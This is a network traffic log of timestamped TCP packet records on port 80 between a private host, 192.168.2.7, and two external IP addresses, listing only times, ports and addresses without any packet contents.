Sep 18, 2024 14:30:09.008481979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008502960 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008517027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008526087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008536100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008546114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008557081 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008565903 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008574009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008583069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008585930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008594990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.008603096 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008620977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.008634090 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.009396076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009427071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009438038 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009490013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009501934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009512901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009524107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009536028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.009543896 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.009543896 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.009543896 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.009577036 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.009583950 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010212898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010224104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010234118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010268927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010277987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010281086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010291100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010304928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010308981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010319948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010323048 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010330915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010349035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010374069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010502100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010512114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010528088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010539055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010545015 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010550022 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010559082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010561943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010572910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010576010 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010584116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010591984 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010595083 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010606050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010616064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010622025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010626078 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010637045 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010637045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010648966 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010662079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010662079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010674000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.010685921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.010703087 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016169071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016181946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016195059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016253948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016258955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016271114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016283989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016294956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016319990 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016326904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016326904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016330957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016344070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016355991 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016382933 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016382933 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016396046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016413927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016428947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016432047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016432047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016441107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016458035 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016469955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016477108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016477108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016477108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016484022 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016508102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016508102 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016508102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016525030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016536951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016539097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016539097 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016554117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016566992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016577959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016590118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016601086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016603947 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016603947 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016603947 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016603947 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016645908 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016659021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016665936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016665936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016755104 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016765118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016774893 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016786098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016788960 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016798019 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016818047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016818047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016827106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016838074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016849995 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016864061 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016891956 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016891956 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016891956 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016923904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016936064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016947985 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.016984940 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016984940 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.016997099 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017008066 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017020941 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017033100 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017057896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017057896 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017086983 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017098904 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017111063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017122030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017133951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017143011 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017158031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017158031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017158031 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017218113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017230034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017240047 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017257929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017268896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017282009 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017287016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017287016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017287016 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017342091 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017354012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017364979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017374992 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017375946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017374992 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017374992 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017390966 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017402887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017409086 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017409086 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017469883 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017481089 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017493010 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017532110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017532110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017532110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017575979 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017586946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017597914 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017608881 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017632961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017632961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017682076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017693043 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017704010 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017715931 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017726898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017738104 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017751932 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017751932 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017751932 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017759085 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017770052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017785072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017796993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017807961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017836094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017844915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017844915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017844915 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017846107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017860889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017900944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017900944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017900944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.017946959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017959118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017972946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017985106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.017997026 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018008947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018012047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018012047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018012047 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018075943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018090010 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018101931 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018115044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018115044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018115044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018120050 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018132925 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018143892 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018155098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018161058 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018161058 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018161058 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018167973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018181086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018192053 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018213987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018213987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018213987 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018299103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018311024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018322945 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018348932 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018348932 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018349886 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018384933 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018395901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018414974 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018426895 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018435001 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018435001 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018435955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018466949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018467903 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018487930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018498898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018510103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018522024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018549919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018563032 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018563986 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018563986 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018577099 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:09.018635988 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.018635988 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:09.024064064 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024080992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024095058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024122000 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024132967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024132967 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024143934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024163008 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024168015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024175882 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024183989 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024188995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024202108 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024203062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024214029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024238110 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024267912 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024313927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024324894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024337053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024348974 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024360895 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024363995 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024378061 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024393082 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024455070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024466038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024478912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024491072 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024502993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024506092 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024513006 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024533987 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024548054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024549007 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024560928 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024570942 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024589062 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024589062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024602890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024612904 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024621964 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024633884 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024636984 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024646044 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024657011 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024662018 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024669886 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024677038 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024681091 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024703026 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024732113 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024739981 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024772882 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024791002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024805069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024826050 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024838924 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024877071 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024887085 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024898052 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024929047 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.024986029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.024997950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025010109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025023937 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025043964 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025132895 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025146008 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025156975 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025166988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025178909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:09.025187016 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:09.025188923 CEST	80	49703	176.113.115.33	192.168.2.7
